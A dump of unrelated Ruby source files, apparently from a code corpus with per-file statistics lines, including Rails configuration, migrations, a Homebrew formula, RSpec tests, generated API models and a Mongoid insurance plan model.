# unmaintained gem that monkey patches `Time`
config.lograge.formatter = Lograge::Formatters::Json.new
config.lograge.logger = ActiveSupport::Logger.new(filename)
# Add request parameters to log output
config.lograge.custom_options = lambda do |event|
params = event.payload[:params]
.except(*%w(controller action format))
.each_pair
.map { |k, v| { key: k, value: v } }
payload = {
time: event.time.utc.iso8601(3),
params: params,
remote_ip: event.payload[:remote_ip],
user_id: event.payload[:user_id],
username: event.payload[:username]
}
gitaly_calls = Gitlab::GitalyClient.get_request_count
payload[:gitaly_calls] = gitaly_calls if gitaly_calls > 0
payload
end
end
end
| 33.457143 | 77 | 0.673783 |
7ab3f5d221da44c1e090106db24d8449a4098756 | 803 | module AuthorizedSystem
module ClassMethods
end
module InstanceMethods
protected
def set_current_user_for_model_security
Authorization.current_user = self.current_user
end
def permission_denied
respond_to do |format|
flash[:error] = t('users.flashs.errors.not_allowed')
format.html { redirect_to(:back) rescue redirect_to(root_path) }
format.xml { head :unauthorized }
format.js { head :unauthorized }
end
end
end
def self.included(receiver)
receiver.extend ClassMethods
receiver.class_eval do
include InstanceMethods
# If work with authlogic, we should set before_save in User instead.
before_filter :set_current_user_for_model_security unless defined? Authorization
end
end
end | 25.903226 | 86 | 0.708593 |
7a9b753254d9b3b650901d49a50dc367ff0a4b4b | 207 | class AddAvatarsToUsers < ActiveRecord::Migration[5.1]
def self.up
change_table :users do |t|
t.attachment :avatar
end
end
def self.down
drop_attached_file :users, :avatar
end
end
| 17.25 | 54 | 0.690821 |
111fadc1ec95f7da150c4544ff1e6c57cf176dae | 185 | class CreateUrzaCardsSubtypes < ActiveRecord::Migration
def change
create_table :urza_cards_subtypes do |t|
t.integer :card_id
t.integer :subtype_id
end
end
end
| 20.555556 | 55 | 0.724324 |
871e7389435011c2896c53e9e708fdac6b3eeef8 | 61 | module TemplateForm
class DateInput < TextInput
end
end
| 10.166667 | 29 | 0.770492 |
e29866699989948bfdff818c2e96956bd588168d | 1,606 | class Chezscheme < Formula
desc "Implementation of the Chez Scheme language"
homepage "https://cisco.github.io/ChezScheme/"
url "https://github.com/cisco/ChezScheme/archive/v9.5.6.tar.gz"
sha256 "e23c556493f9a661852ea046f3317500feac5f223ea6ef3aa3b9234567e14c0e"
license "Apache-2.0"
bottle do
sha256 monterey: "1d9118dd4d5ed319d4b6b3d3a2f7983154939045cf2a5e8f12a74c7ead260e8c"
sha256 big_sur: "725156b49a096e44db6382cc483faff4ad8e7ec6fec83ca1998b94507d797f86"
sha256 catalina: "a73f8d8d3049391bcd29d950c2dd4a9d816932855eefb0faa4bf7949c8f3837b"
sha256 cellar: :any_skip_relocation, x86_64_linux: "e6aefd17b0a0ac5f78abc7e746f6b7adc613c3040889d8bee47c16d9ca8c1b1d"
end
depends_on "libx11" => :build
depends_on "xterm"
uses_from_macos "ncurses"
def install
inreplace "configure", "/opt/X11", Formula["libx11"].opt_prefix
inreplace Dir["c/Mf-*osx"], "/opt/X11", Formula["libx11"].opt_prefix
inreplace "c/version.h", "/usr/X11R6", Formula["libx11"].opt_prefix
inreplace "c/expeditor.c", "/usr/X11/bin/resize", Formula["xterm"].opt_bin/"resize"
system "./configure",
"--installprefix=#{prefix}",
"--threads",
"--installschemename=chez"
system "make", "install"
end
test do
(testpath/"hello.ss").write <<~EOS
(display "Hello, World!") (newline)
EOS
expected = <<~EOS
Hello, World!
EOS
assert_equal expected, shell_output("#{bin}/chez --script hello.ss")
end
end
| 36.5 | 121 | 0.668742 |
f7026e11c3914daac861a1987fdeb418c92e17e0 | 7,939 | # frozen_string_literal: true
require 'rails_helper'
require "#{BenefitSponsors::Engine.root}/spec/shared_contexts/benefit_market.rb"
require "#{BenefitSponsors::Engine.root}/spec/shared_contexts/benefit_application.rb"
RSpec.describe BenefitSponsors::Operations::BenefitApplications::Clone, dbclean: :after_each do
before do
DatabaseCleaner.clean
end
let!(:effective_period_start_on) { TimeKeeper.date_of_record.beginning_of_year }
let!(:effective_period_end_on) { TimeKeeper.date_of_record.end_of_year }
let!(:site) { BenefitSponsors::SiteSpecHelpers.create_site_with_hbx_profile_and_empty_benefit_market }
let!(:benefit_market) { site.benefit_markets.first }
let!(:effective_period) { (effective_period_start_on..effective_period_end_on) }
let!(:current_benefit_market_catalog) do
BenefitSponsors::ProductSpecHelpers.construct_benefit_market_catalog_with_renewal_catalog(site, benefit_market, effective_period)
benefit_market.benefit_market_catalogs.where(
"application_period.min" => effective_period_start_on
).first
end
let!(:service_areas) do
::BenefitMarkets::Locations::ServiceArea.where(
:active_year => current_benefit_market_catalog.application_period.min.year
).all.to_a
end
let!(:rating_area) do
::BenefitMarkets::Locations::RatingArea.where(
:active_year => current_benefit_market_catalog.application_period.min.year
).first
end
let(:current_effective_date) {TimeKeeper.date_of_record.beginning_of_year}
include_context 'setup initial benefit application'
context 'success' do
let(:current_year) {current_effective_date.year}
let(:end_of_year) {Date.new(current_year, 12, 31)}
before do
allow(TimeKeeper).to receive(:date_of_record).and_return(Date.new(current_year, 10, 15))
initial_application.benefit_packages.each do |bp|
bp.sponsored_benefits.each do |spon_benefit|
spon_benefit.update_attributes!(_type: 'BenefitSponsors::SponsoredBenefits::HealthSponsoredBenefit')
create_pd(spon_benefit)
update_contribution_levels(spon_benefit) if initial_application.employer_profile.is_a_fehb_profile?
end
end
end
context 'clone terminated benefit application' do
before do
initial_application.terminate_enrollment!
initial_application.update_attributes!(termination_reason: 'Testing', terminated_on: (TimeKeeper.date_of_record - 1.month).end_of_month)
@new_ba = subject.call({benefit_application: initial_application, effective_period: initial_application.effective_period}).success
@new_sponsored_benefit = @new_ba.benefit_packages.first.sponsored_benefits.first
end
it 'should return a success with a BenefitApplication' do
expect(@new_ba).to be_a(BenefitSponsors::BenefitApplications::BenefitApplication)
end
it 'should return a BenefitApplication with aasm_state draft' do
expect(@new_ba.aasm_state).to eq(:draft)
end
it 'should return a BenefitApplication with same effective_period' do
expect(@new_ba.effective_period).to eq(initial_application.effective_period)
end
it 'should return a non persisted BenefitApplication' do
expect(@new_ba.persisted?).to be_falsy
end
it 'should return a persistable BenefitApplication' do
expect(@new_ba.save!).to be_truthy
end
it 'should not copy reinstated_id' do
expect(@new_ba.reinstated_id).to be_nil
end
it 'should create sponsored_benefit with correct classes' do
expect(@new_sponsored_benefit.class).to eq(initial_application.benefit_packages.first.sponsored_benefits.first.class)
expect([::BenefitSponsors::SponsoredBenefits::HealthSponsoredBenefit, ::BenefitSponsors::SponsoredBenefits::DentalSponsoredBenefit]).to include(@new_sponsored_benefit.class)
end
end
context 'clone canceled benefit application' do
before do
initial_application.cancel!
@new_ba = subject.call({benefit_application: initial_application, effective_period: initial_application.effective_period}).success
end
it 'should return a BenefitApplication with aasm_state draft' do
expect(@new_ba.aasm_state).to eq(:draft)
end
it 'should return a BenefitApplication with same effective_period' do
expect(@new_ba.effective_period).to eq(initial_application.effective_period)
end
it 'should return a non persisted BenefitApplication' do
expect(@new_ba.persisted?).to be_falsy
end
it 'should not copy reinstated_id' do
expect(@new_ba.reinstated_id).to be_nil
end
end
context 'clone termination_pending benefit application' do
before do
initial_application.schedule_enrollment_termination!
initial_application.update_attributes!(termination_reason: 'Testing, future termination', terminated_on: (TimeKeeper.date_of_record + 1.month).end_of_month)
@new_ba = subject.call({benefit_application: initial_application, effective_period: initial_application.effective_period}).success
end
it 'should return a success with a BenefitApplication' do
expect(@new_ba).to be_a(BenefitSponsors::BenefitApplications::BenefitApplication)
end
it 'should return a BenefitApplication with aasm_state draft' do
expect(@new_ba.aasm_state).to eq(:draft)
end
it 'should return a BenefitApplication with same effective_period' do
expect(@new_ba.effective_period).to eq(initial_application.effective_period)
end
it 'should return a non persisted BenefitApplication' do
expect(@new_ba.persisted?).to be_falsy
end
it 'should not copy reinstated_id' do
expect(@new_ba.reinstated_id).to be_nil
end
end
end
context 'failure' do
context 'no params' do
before do
@result = subject.call({})
end
it 'should return a failure with a message' do
expect(@result.failure).to eq('Missing Keys.')
end
end
context 'invalid params' do
before do
@result = subject.call({benefit_application: 'benefit_application', effective_period: (TimeKeeper.date_of_record.beginning_of_year..TimeKeeper.date_of_record.end_of_year)})
end
it 'should return a failure with a message' do
expect(@result.failure).to eq('Not a valid Benefit Application object.')
end
end
context 'missing keys' do
context 'missing effective_period' do
before do
@result = subject.call({benefit_application: initial_application})
end
it 'should return a failure with a message' do
expect(@result.failure).to eq('Missing Keys.')
end
end
context 'missing benefit_application' do
before do
@result = subject.call({effective_period: (TimeKeeper.date_of_record.beginning_of_year..TimeKeeper.date_of_record.end_of_year)})
end
it 'should return a failure with a message' do
expect(@result.failure).to eq('Missing Keys.')
end
end
end
end
end
def create_pd(spon_benefit)
pricing_determination = BenefitSponsors::SponsoredBenefits::PricingDetermination.new({group_size: 4, participation_rate: 75})
spon_benefit.pricing_determinations << pricing_determination
pricing_unit_id = spon_benefit.product_package.pricing_model.pricing_units.first.id
pricing_determination_tier = BenefitSponsors::SponsoredBenefits::PricingDeterminationTier.new({pricing_unit_id: pricing_unit_id, price: 320.00})
pricing_determination.pricing_determination_tiers << pricing_determination_tier
spon_benefit.save!
end
def update_contribution_levels(spon_benefit)
spon_benefit.sponsor_contribution.contribution_levels.each do |cl|
cl.update_attributes!({contribution_cap: 0.5, flat_contribution_amount: 100.00})
end
end
| 39.108374 | 181 | 0.740144 |
bbf13479f7883a8788746773fb30ca8158449988 | 744 | require "English"
require "stringio"
class CSV
module InputRecordSeparator
class << self
is_input_record_separator_deprecated = false
verbose, $VERBOSE = $VERBOSE, true
stderr, $stderr = $stderr, StringIO.new
input_record_separator = $INPUT_RECORD_SEPARATOR
begin
$INPUT_RECORD_SEPARATOR = "\r\n"
is_input_record_separator_deprecated = (not $stderr.string.empty?)
ensure
$INPUT_RECORD_SEPARATOR = input_record_separator
$stderr = stderr
$VERBOSE = verbose
end
if is_input_record_separator_deprecated
def value
"\n"
end
else
def value
$INPUT_RECORD_SEPARATOR
end
end
end
end
end
| 23.25 | 74 | 0.637097 |
d56704b5e789a47112cc424506ec8bdfb27e7d28 | 1,638 | # This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).
#
# Examples:
#
# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
# Character.create(name: 'Luke', movie: movies.first)
# Create a main sample user.
User.create!(name: "Example User",
email: "[email protected]",
password: "foobar",
password_confirmation: "foobar",
admin: true,
activated: true,
activated_at: Time.zone.now,
github_access_token: nil,
github_username: nil)
# Generate a bunch of additional users.
99.times do |n|
name = Faker::Name.name
email = "example-#{n+1}@railstutorial.org"
password = "password"
User.create!(name: name,
email: email,
password: password,
password_confirmation: password,
activated: true,
activated_at: Time.zone.now,
github_access_token: nil,
github_username: nil)
end
# Generate microposts for a subset of users.
users = User.order(:created_at).take(6)
50.times do
content = Faker::Lorem.sentence(word_count: 5)
users.each { |user| user.microposts.create!(content: content) }
end
# Create following relationships.
users = User.all
user = users.first
following = users[2..50]
followers = users[3..40]
following.each { |followed| user.follow(followed) }
followers.each { |follower| follower.follow(user) } | 34.125 | 115 | 0.640415 |
1cab3014c7c19c1eebbb2d6da014a24c3c3a9325 | 12,582 | =begin
#NSX-T Manager API
#VMware NSX-T Manager REST API
OpenAPI spec version: 2.5.1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.19
=end
require 'date'
module NSXT
class VmToolsInfo
# Link to this resource
attr_accessor :_self
# The server will populate this field when returing the resource. Ignored on PUT and POST.
attr_accessor :_links
# Schema for this resource
attr_accessor :_schema
# Timestamp of last modification
attr_accessor :_last_sync_time
# Defaults to ID if not set
attr_accessor :display_name
# Description of this resource
attr_accessor :description
# The type of this resource.
attr_accessor :resource_type
# Opaque identifiers meaningful to the API user
attr_accessor :tags
# Reference of the Host or Public Cloud Gateway that reported the VM.
attr_accessor :source
# Type of VM - Edge, Service or other.
attr_accessor :vm_type
# Version of network agent on the VM of a third party partner solution.
attr_accessor :network_agent_version
# Id of the VM which is assigned locally by the host. It is the VM-moref on ESXi hosts, in other environments it is VM UUID.
attr_accessor :host_local_id
# Current external id of this virtual machine in the system.
attr_accessor :external_id
# Version of VMTools installed on the VM.
attr_accessor :tools_version
# Version of file agent on the VM of a third party partner solution.
attr_accessor :file_agent_version
class EnumAttributeValidator
attr_reader :datatype
attr_reader :allowable_values
def initialize(datatype, allowable_values)
@allowable_values = allowable_values.map do |value|
case datatype.to_s
when /Integer/i
value.to_i
when /Float/i
value.to_f
else
value
end
end
end
def valid?(value)
!value || allowable_values.include?(value)
end
end
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'_self' => :'_self',
:'_links' => :'_links',
:'_schema' => :'_schema',
:'_last_sync_time' => :'_last_sync_time',
:'display_name' => :'display_name',
:'description' => :'description',
:'resource_type' => :'resource_type',
:'tags' => :'tags',
:'source' => :'source',
:'vm_type' => :'vm_type',
:'network_agent_version' => :'network_agent_version',
:'host_local_id' => :'host_local_id',
:'external_id' => :'external_id',
:'tools_version' => :'tools_version',
:'file_agent_version' => :'file_agent_version'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'_self' => :'SelfResourceLink',
:'_links' => :'Array<ResourceLink>',
:'_schema' => :'String',
:'_last_sync_time' => :'Integer',
:'display_name' => :'String',
:'description' => :'String',
:'resource_type' => :'String',
:'tags' => :'Array<Tag>',
:'source' => :'ResourceReference',
:'vm_type' => :'String',
:'network_agent_version' => :'String',
:'host_local_id' => :'String',
:'external_id' => :'String',
:'tools_version' => :'String',
:'file_agent_version' => :'String'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'_self')
self._self = attributes[:'_self']
end
if attributes.has_key?(:'_links')
if (value = attributes[:'_links']).is_a?(Array)
self._links = value
end
end
if attributes.has_key?(:'_schema')
self._schema = attributes[:'_schema']
end
if attributes.has_key?(:'_last_sync_time')
self._last_sync_time = attributes[:'_last_sync_time']
end
if attributes.has_key?(:'display_name')
self.display_name = attributes[:'display_name']
end
if attributes.has_key?(:'description')
self.description = attributes[:'description']
end
if attributes.has_key?(:'resource_type')
self.resource_type = attributes[:'resource_type']
end
if attributes.has_key?(:'tags')
if (value = attributes[:'tags']).is_a?(Array)
self.tags = value
end
end
if attributes.has_key?(:'source')
self.source = attributes[:'source']
end
if attributes.has_key?(:'vm_type')
self.vm_type = attributes[:'vm_type']
end
if attributes.has_key?(:'network_agent_version')
self.network_agent_version = attributes[:'network_agent_version']
end
if attributes.has_key?(:'host_local_id')
self.host_local_id = attributes[:'host_local_id']
end
if attributes.has_key?(:'external_id')
self.external_id = attributes[:'external_id']
end
if attributes.has_key?(:'tools_version')
self.tools_version = attributes[:'tools_version']
end
if attributes.has_key?(:'file_agent_version')
self.file_agent_version = attributes[:'file_agent_version']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if !@display_name.nil? && @display_name.to_s.length > 255
invalid_properties.push('invalid value for "display_name", the character length must be smaller than or equal to 255.')
end
if [email protected]? && @description.to_s.length > 1024
invalid_properties.push('invalid value for "description", the character length must be smaller than or equal to 1024.')
end
if @resource_type.nil?
invalid_properties.push('invalid value for "resource_type", resource_type cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if !@display_name.nil? && @display_name.to_s.length > 255
return false if [email protected]? && @description.to_s.length > 1024
return false if @resource_type.nil?
vm_type_validator = EnumAttributeValidator.new('String', ['EDGE', 'SERVICE', 'REGULAR'])
return false unless vm_type_validator.valid?(@vm_type)
true
end
# Custom attribute writer method with validation
# @param [Object] display_name Value to be assigned
def display_name=(display_name)
if !display_name.nil? && display_name.to_s.length > 255
fail ArgumentError, 'invalid value for "display_name", the character length must be smaller than or equal to 255.'
end
@display_name = display_name
end
# Custom attribute writer method with validation
# @param [Object] description Value to be assigned
def description=(description)
if !description.nil? && description.to_s.length > 1024
fail ArgumentError, 'invalid value for "description", the character length must be smaller than or equal to 1024.'
end
@description = description
end
# Custom attribute writer method checking allowed values (enum).
# @param [Object] vm_type Object to be assigned
def vm_type=(vm_type)
validator = EnumAttributeValidator.new('String', ['EDGE', 'SERVICE', 'REGULAR'])
unless validator.valid?(vm_type)
fail ArgumentError, 'invalid value for "vm_type", must be one of #{validator.allowable_values}.'
end
@vm_type = vm_type
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
_self == o._self &&
_links == o._links &&
_schema == o._schema &&
_last_sync_time == o._last_sync_time &&
display_name == o.display_name &&
description == o.description &&
resource_type == o.resource_type &&
tags == o.tags &&
source == o.source &&
vm_type == o.vm_type &&
network_agent_version == o.network_agent_version &&
host_local_id == o.host_local_id &&
external_id == o.external_id &&
tools_version == o.tools_version &&
file_agent_version == o.file_agent_version
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[_self, _links, _schema, _last_sync_time, display_name, description, resource_type, tags, source, vm_type, network_agent_version, host_local_id, external_id, tools_version, file_agent_version].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = NSXT.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 31.533835 | 203 | 0.627563 |
2834876f75ab3c1de80055c057f32e8ddaf60991 | 334 | require 'bcrypt'
module Restmachine
module User
def self.included receiver
receiver.send :include BCrypt
end
def password
@password ||= Password.new(password_hash)
end
def password=(new_password)
@password = Password.create(new_password)
self.password_hash = @password
end
end
end
| 19.647059 | 47 | 0.682635 |
d5c93812d510591207741e1a584e65cadc916499 | 887 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'hosts_file/version'
Gem::Specification.new do |spec|
spec.name = "hosts_file"
spec.version = HostsFile::VERSION
spec.authors = ["Joshua Bussdieker"]
spec.email = ["[email protected]"]
spec.summary = %q{Basic library for reading hosts file entries.}
spec.homepage = "http://github.com/jbussdieker/ruby-hosts_file"
spec.license = "MIT"
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.3"
spec.add_development_dependency "rake"
spec.add_development_dependency "rspec"
end
| 36.958333 | 74 | 0.666291 |
289cba2b663a163fd2104d9ebd22a2126cea6a71 | 2,962 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Compute::Mgmt::V2020_12_01
module Models
#
# The List Virtual Machine operation response.
#
class VirtualMachineScaleSetListResult
include MsRestAzure
include MsRest::JSONable
# @return [Array<VirtualMachineScaleSet>] The list of virtual machine
# scale sets.
attr_accessor :value
# @return [String] The uri to fetch the next page of Virtual Machine
# Scale Sets. Call ListNext() with this to fetch the next page of VMSS.
attr_accessor :next_link
# return [Proc] with next page method call.
attr_accessor :next_method
#
# Gets the rest of the items for the request, enabling auto-pagination.
#
# @return [Array<VirtualMachineScaleSet>] operation results.
#
def get_all_items
items = @value
page = self
while page.next_link != nil && !page.next_link.strip.empty? do
page = page.get_next_page
items.concat(page.value)
end
items
end
#
# Gets the next page of results.
#
# @return [VirtualMachineScaleSetListResult] with next page content.
#
def get_next_page
response = @next_method.call(@next_link).value! unless @next_method.nil?
unless response.nil?
@next_link = response.body.next_link
@value = response.body.value
self
end
end
#
# Mapper for VirtualMachineScaleSetListResult class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'VirtualMachineScaleSetListResult',
type: {
name: 'Composite',
class_name: 'VirtualMachineScaleSetListResult',
model_properties: {
value: {
client_side_validation: true,
required: true,
serialized_name: 'value',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'VirtualMachineScaleSetElementType',
type: {
name: 'Composite',
class_name: 'VirtualMachineScaleSet'
}
}
}
},
next_link: {
client_side_validation: true,
required: false,
serialized_name: 'nextLink',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 29.326733 | 80 | 0.544902 |
914fa57db8457ea73d6745e4c7fdd6008be43b21 | 19,448 | class Plan
include Mongoid::Document
include Mongoid::Timestamps
# include Mongoid::Versioning
COVERAGE_KINDS = %w[health dental]
METAL_LEVEL_KINDS = %w[bronze silver gold platinum catastrophic dental]
REFERENCE_PLAN_METAL_LEVELS = %w[bronze silver gold platinum dental]
MARKET_KINDS = %w(shop individual)
PLAN_TYPE_KINDS = %w[pos hmo epo ppo]
DENTAL_METAL_LEVEL_KINDS = %w[high low]
field :hbx_id, type: Integer
field :active_year, type: Integer
field :market, type: String
field :coverage_kind, type: String
field :carrier_profile_id, type: BSON::ObjectId
field :metal_level, type: String
field :hios_id, type: String
field :hios_base_id, type: String
field :csr_variant_id, type: String
field :name, type: String
field :abbrev, type: String
field :provider, type: String
field :ehb, type: Float, default: 0.0
field :renewal_plan_id, type: BSON::ObjectId
field :cat_age_off_renewal_plan_id, type: BSON::ObjectId
field :is_standard_plan, type: Boolean, default: false
field :minimum_age, type: Integer, default: 0
field :maximum_age, type: Integer, default: 120
field :is_active, type: Boolean, default: true
field :updated_by, type: String
# TODO deprecate after migrating SBCs for years prior to 2016
field :sbc_file, type: String
embeds_one :sbc_document, :class_name => "Document", as: :documentable
embeds_many :premium_tables
accepts_nested_attributes_for :premium_tables, :sbc_document
# More Attributes from qhp
field :plan_type, type: String # "POS", "HMO", "EPO", "PPO"
field :deductible, type: String # Deductible
field :family_deductible, type: String
field :nationwide, type: Boolean # Nationwide
field :dc_in_network, type: Boolean # DC In-Network or not
# Fields for provider direcotry and rx formulary url
field :provider_directory_url, type: String
field :rx_formulary_url, type: String
# for dental plans only, metal level -> high/low values
field :dental_level, type: String
# In MongoDB, the order of fields in an index should be:
# First: fields queried for exact values, in an order that most quickly reduces set
# Second: fields used to sort
# Third: fields queried for a range of values
index({ hbx_id: 1, name: 1 })
index({ hios_id: 1, active_year: 1, name: 1 })
index({ active_year: 1, market: 1, coverage_kind: 1, nationwide: 1, name: 1 })
index({ renewal_plan_id: 1, name: 1 })
index({ name: 1 })
index({ csr_variant_id: 1}, {sparse: true})
# 2015, "94506DC0390006-01"
index(
{
active_year: 1,
hios_id: 1,
"premium_tables.age": 1,
"premium_tables.start_on": 1,
"premium_tables.end_on": 1
},
{ name: "plan_premium_age" }
)
# 92479DC0020002, 2015, 32, 2015-04-01, 2015-06-30
index({ hios_id: 1, active_year: 1, "premium_tables.age": 1, "premium_tables.start_on": 1, "premium_tables.end_on": 1 }, {name: "plan_premium_age_deprecated"})
# 2015, individual, health, silver, 04
index({ active_year: 1, market: 1, coverage_kind: 1, metal_level: 1, csr_variant_id: 1 })
# 2015, individual, health, gold
index({ active_year: 1, market: 1, coverage_kind: 1, metal_level: 1, name: 1 })
# 2015, individual, health, uhc
index({ active_year: 1, market: 1, coverage_kind: 1, carrier_profile_id: 1, name: 1 })
# 2015, individual, health, uhc, gold
index({ active_year: 1, market: 1, coverage_kind: 1, carrier_profile_id: 1, metal_level: 1, name: 1 })
index({ "premium_tables.age" => 1 })
index({ "premium_tables.age" => 1, "premium_tables.start_on" => 1, "premium_tables.end_on" => 1 })
validates_presence_of :name, :hios_id, :active_year, :metal_level, :market, :carrier_profile_id
validates :coverage_kind,
allow_blank: false,
inclusion: {
in: COVERAGE_KINDS,
message: "%{value} is not a valid coverage kind"
}
validates :metal_level,
allow_blank: false,
inclusion: {
in: METAL_LEVEL_KINDS,
message: "%{value} is not a valid metal level kind"
}
validates :dental_level,
inclusion: {
in: DENTAL_METAL_LEVEL_KINDS,
message: "%{value} is not a valid dental metal level kind"
}, if: Proc.new{|a| a.active_year.present? && a.active_year > 2015 && a.coverage_kind == "dental" } # we do not check for 2015 plans because, they are already imported with metal_level="dental"
validates :market,
allow_blank: false,
inclusion: {
in: MARKET_KINDS,
message: "%{value} is not a valid market"
}
validates_inclusion_of :active_year,
in: 2014..(TimeKeeper.date_of_record.year + 3),
message: "%{value} is an invalid active year"
## Scopes
default_scope -> {order("name ASC")}
# Metal level
scope :platinum_level, ->{ where(metal_level: "platinum") }
scope :gold_level, ->{ where(metal_level: "gold") }
scope :silver_level, ->{ where(metal_level: "silver") }
scope :bronze_level, ->{ where(metal_level: "bronze") }
scope :catastrophic_level, ->{ where(metal_level: "catastrophic") }
scope :metal_level_sans_silver, ->{ where(:metal_leval.in => %w(platinum gold bronze catastrophic))}
# Plan.metal_level_sans_silver.silver_level_by_csr_kind("csr_87")
scope :silver_level_by_csr_kind, ->(csr_kind = "csr_100"){ where(
metal_level: "silver").and(
csr_variant_id: EligibilityDetermination::CSR_KIND_TO_PLAN_VARIANT_MAP[csr_kind]
)
}
# Plan Type
scope :ppo_plan, ->{ where(plan_type: "ppo") }
scope :pos_plan, ->{ where(plan_type: "pos") }
scope :hmo_plan, ->{ where(plan_type: "hmo") }
scope :epo_plan, ->{ where(plan_type: "epo") }
# Plan offers local or national in-network benefits
# scope :national_network, ->{ where(nationwide: "true") }
# scope :local_network, ->{ where(nationwide: "false") }
scope :by_active_year, ->(active_year = TimeKeeper.date_of_record.year) { where(active_year: active_year) }
scope :by_metal_level, ->(metal_level) { where(metal_level: metal_level) }
# Marketplace
scope :shop_market, ->{ where(market: "shop") }
scope :individual_market, ->{ where(market: "individual") }
scope :health_coverage, ->{ where(coverage_kind: "health") }
scope :dental_coverage, ->{ where(coverage_kind: "dental") }
# DEPRECATED - 2015-09-23 - By Sean Carley
# scope :valid_shop_by_carrier, ->(carrier_profile_id) {where(carrier_profile_id: carrier_profile_id, active_year: TimeKeeper.date_of_record.year, market: "shop", metal_level: {"$in" => ::Plan::REFERENCE_PLAN_METAL_LEVELS})}
# scope :valid_shop_by_metal_level, ->(metal_level) {where(active_year: TimeKeeper.date_of_record.year, market: "shop", metal_level: metal_level)}
scope :valid_shop_by_carrier, ->(carrier_profile_id) {valid_shop_by_carrier_and_year(carrier_profile_id, TimeKeeper.date_of_record.year)}
scope :valid_shop_by_metal_level, ->(metal_level) {valid_shop_by_metal_level_and_year(metal_level, TimeKeeper.date_of_record.year)}
## DEPRECATED - 2015-10-26 - By Dan Thomas - Use: individual_health_by_active_year_and_csr_kind
scope :individual_health_by_active_year, ->(active_year) {where(active_year: active_year, market: "individual", coverage_kind: "health", hios_id: /-01$/ ) }
# END DEPRECATED
scope :valid_shop_by_carrier_and_year, ->(carrier_profile_id, year) {
where(
carrier_profile_id: carrier_profile_id,
active_year: year,
market: "shop",
hios_id: { "$not" => /-00$/ },
metal_level: { "$in" => ::Plan::REFERENCE_PLAN_METAL_LEVELS }
)
}
scope :valid_shop_by_metal_level_and_year, ->(metal_level, year) {
where(
active_year: year,
market: "shop",
hios_id: /-01$/,
metal_level: metal_level
)
}
scope :with_premium_tables, ->{ where(:premium_tables.exists => true) }
scope :shop_health_by_active_year, ->(active_year) {
where(
active_year: active_year,
market: "shop",
coverage_kind: "health"
)
}
scope :shop_dental_by_active_year, ->(active_year) {
where(
active_year: active_year,
market: "shop",
coverage_kind: "dental"
)
}
